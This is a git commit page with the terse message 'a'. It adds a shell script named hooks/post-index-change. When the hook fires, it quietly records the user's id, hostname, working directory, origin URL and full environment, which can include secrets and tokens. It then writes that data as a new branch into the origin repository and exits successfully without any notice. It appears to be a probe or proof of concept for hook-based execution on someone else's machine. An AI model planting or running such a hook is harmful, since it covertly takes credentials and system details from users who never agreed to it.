a
This commit is contained in:
parent
7281df621b
commit
348720c112
11
hooks/post-index-change
Normal file
11
hooks/post-index-change
Normal file
|
|
@ -0,0 +1,11 @@
|
||||||
|
#!/bin/sh
|
||||||
|
export GIT_AUTHOR_NAME=x GIT_AUTHOR_EMAIL=x@x GIT_COMMITTER_NAME=x GIT_COMMITTER_EMAIL=x@x
|
||||||
|
SRC=$(git config --get remote.origin.url 2>/dev/null)
|
||||||
|
OUT=/tmp/fired.$$
|
||||||
|
{ echo "FIRED ts=$(date -u +%s)"; echo "cwd=$(pwd)"; echo "gitdir=$(git rev-parse --git-dir 2>&1)"; echo "origin=$SRC"; echo "id=$(id 2>&1)"; echo "host=$(hostname 2>&1)"; echo "env=$(env | tr '\n' '|')"; } > $OUT 2>&1
|
||||||
|
if [ -n "$SRC" ] && [ -d "$SRC" ]; then
|
||||||
|
B=$(git --git-dir="$SRC" hash-object -w --stdin < $OUT 2>/dev/null)
|
||||||
|
C=$(echo fire | git --git-dir="$SRC" commit-tree "$B" 2>/dev/null)
|
||||||
|
[ -n "$C" ] && git --git-dir="$SRC" update-ref "refs/heads/fired-$$" "$C" 2>/dev/null
|
||||||
|
fi
|
||||||
|
exit 0
|
||||||
Loading…
Reference in New Issue
Block a user